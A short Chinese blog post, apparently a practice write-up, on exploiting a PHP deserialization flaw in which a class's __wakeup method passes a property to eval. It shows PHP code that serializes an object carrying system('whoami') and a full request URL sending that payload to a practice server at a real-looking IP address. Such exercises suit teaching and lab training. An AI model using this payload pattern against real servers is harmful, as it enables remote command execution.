反序列化漏洞练习1

根据代码可以看出来sis类只是接收了参数cmd,下边是通过get获得cmd的值,所以可以在序列化过程中直接为cmd赋值。

根据源码编写序列化代码

php 复制代码
<?php
class sis{
    public $cmd='system("whoami");?>';
    public function __wakeup(){
        eval($this->cmd);
    }
}
$a = new sis;
echo serialize($a);
?>

为cmd赋值后,直接将整个sis类序列化

访问该代码

得到序列化的sis,将序列化后的sis以get的方式为cmd传参

124.221.58.83:81/s1.php?cmd=O:3:"sis":1:{s:3:"cmd";s:19:"system("whoami");?>";}

完成

相关推荐
天之涯上上4 分钟前
Pinia 是一个专为 Vue.js 3 设计的状态管理库
前端·javascript·vue.js
@大迁世界11 分钟前
摆脱 `<div>`!7 种更语义化的 HTML 标签替代方案
前端·html
数据小小爬虫26 分钟前
如何利用Python爬虫获取商品历史价格信息
开发语言·爬虫·python
Gao_xu_sheng28 分钟前
Java程序打包成exe,无Java环境也能运行
java·开发语言
NiNg_1_23433 分钟前
Python的sklearn中的RandomForestRegressor使用详解
开发语言·python·sklearn
谢家小布柔36 分钟前
java中的继承
java·开发语言
黑色叉腰丶大魔王37 分钟前
《基于 Python 的网页爬虫详细教程》
开发语言·爬虫·python
l1384942745143 分钟前
Java每日一题(2)
java·开发语言·游戏
晓纪同学1 小时前
QT创建一个模板槽和信号刷新UI
开发语言·qt·ui
WANGWUSAN661 小时前
Python高频写法总结!
java·linux·开发语言·数据库·经验分享·python·编程